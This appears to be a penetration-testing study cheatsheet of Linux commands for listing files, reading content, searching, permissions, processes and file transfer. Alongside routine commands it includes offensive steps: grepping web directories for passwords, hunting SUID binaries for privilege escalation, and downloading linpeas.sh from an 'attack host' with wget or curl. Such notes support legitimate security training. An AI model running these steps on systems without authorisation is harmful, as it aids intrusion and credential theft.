~/linux-core

Linux Commands Cheatsheet

CPTS Notes2 min read

Listing Directories

List everything, long form, with hidden files and human sizes:

ls -lah

Walk a tree without cd-ing around:

ls -R /etc

Find files by name anywhere on the box:

find / -name "*.conf" 2>/dev/null

2>/dev/null drops the permission-denied noise so the hits are readable.

Reading Content

Print a whole file:

cat /etc/passwd

Page through a long file (q to quit, / to search):

less /var/log/auth.log

First or last lines of a file:

head -n 20 file
tail -n 20 file

Follow a file as it grows:

tail -f /var/log/syslog

Searching

Search inside files, recursively, with line numbers:

grep -rin "password" /var/www 2>/dev/null

Pull just the matching part out of a stream:

grep -oP '\d+\.\d+\.\d+\.\d+' file

Users and Permissions

Who am I and what groups am I in:

id

What can I run as another user:

sudo -l

Find files with the SUID bit set, a common privesc lead:

find / -perm -4000 -type f 2>/dev/null

Processes and Network

Running processes:

ps aux

Listening ports and the process behind each:

ss -tulpn

File Transfer

Serve the current folder over HTTP to pull tools onto the box:

python3 -m http.server 8000

Download a file from your attack host:

wget http://10.10.10.10:8000/linpeas.sh
curl -O http://10.10.10.10:8000/linpeas.sh

If wget and curl are both missing, python3, nc, or /dev/tcp usually still work.